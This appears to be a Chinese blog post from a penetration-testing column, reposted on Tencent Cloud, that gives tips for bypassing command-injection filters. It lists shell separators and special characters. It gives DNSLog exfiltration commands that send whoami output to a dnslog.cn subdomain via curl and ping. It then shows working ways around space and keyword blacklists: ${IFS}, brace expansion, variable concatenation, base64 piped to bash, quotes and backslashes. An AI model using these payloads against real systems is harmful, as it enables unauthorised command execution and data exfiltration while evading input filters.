前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >命令执行的绕过Tip

命令执行的绕过Tip

作者头像
drunk_kk
发布2021-03-23 15:19:55
7630
发布2021-03-23 15:19:55
举报
文章被收录于专栏:渗透测试教程渗透测试教程

管道符

;

顺序执行,命令之间没有逻辑关系

正常顺序执行

&&

逻辑与; 当命令1正确执行后,才会执行命令2。否则命令2不会执行

两个命令都会执行

||

逻辑或; 当命令1不正确执行后,命令2才会执行。否则命令2不会执行

mi

会执行whom

其他特殊符号

符号

作用

'

单引号,在单引号中所有的特殊符号,如“$”和“`”(反引号)都无特殊含义

"

双引号,在双引号中特殊符号都无特殊含义,但“$”、“`”(反引号)和“\”是例外,拥有“调用变量值”,“引用命令”和“转义符”的特殊含义

`

反引号:反引号括起来的内容是系统命令,在Bash中先会执行它和()

$()

和反引号作用相同,用来引用系统命令

#

在shell脚本中,#开头的行代表注释

$

用于调用变量的值,如需要调用变量name的值时,需要用$name的方式得到

\

转义符,跟在\之后的特殊字符将失去特殊含义,变为普通字符


DNSLog带出命令

代码语言:javascript
复制
Linux:
curl http://`whoami`.uvlmxy.dnslog.cn
ping `whoami`.uvlmxy.dnslog.cn

Windows:
ping %USERNAME%.uvlmxy.dnslog.cn
绕过空格限制

${IFS}

代码语言:javascript
复制
root@mon-one:~/tmp/tmp# cat tmp
one
hh
nihao
root@mon-one:~/tmp/tmp# cat${IFS}tmp
one
hh
nihao

重定向符<>

代码语言:javascript
复制
root@mon-one:~/tmp/tmp# cat<>tmp
one
hh
nihao

{,}

代码语言:javascript
复制
root@mon-one:~/tmp/tmp# {cat,tmp}
one
hh
nihao

使用环境变量

代码语言:javascript
复制
COMMAND=$'\x20-al';ls$COMMAND

绕过命令黑名单

拼接

代码语言:javascript
复制
root@mon-one:~/tmp/tmp# cat tmp
one
hh
nihao
root@mon-one:~/tmp/tmp# a=ca;b=t;c=tmp;$a$b $c
one
hh
nihao

base64编码

代码语言:javascript
复制
root@mon-one:~/tmp/tmp# `echo "Y2F0IHRtcA=="|base64 -d`
one
hh
nihao
root@mon-one:~/tmp/tmp# echo "Y2F0IHRtcA=="|base64 -d|bash
one
hh
nihao

单引号/双引号

代码语言:javascript
复制
root@mon-one:~/tmp/tmp# ca''t tm""p
one
hh
nihao

反斜线\

代码语言:javascript
复制
root@mon-one:~/tmp/tmp# c\at tmp
one
hh
nihao

$@绕过

代码语言:javascript
复制
who$@ami

代码语言:javascript
复制

如果觉得有用,感谢师傅给个赞支持下

代码语言:javascript
复制
本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-11-03,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 渗透测试教程 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 其他特殊符号
  • 绕过空格限制
  • 绕过命令黑名单
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档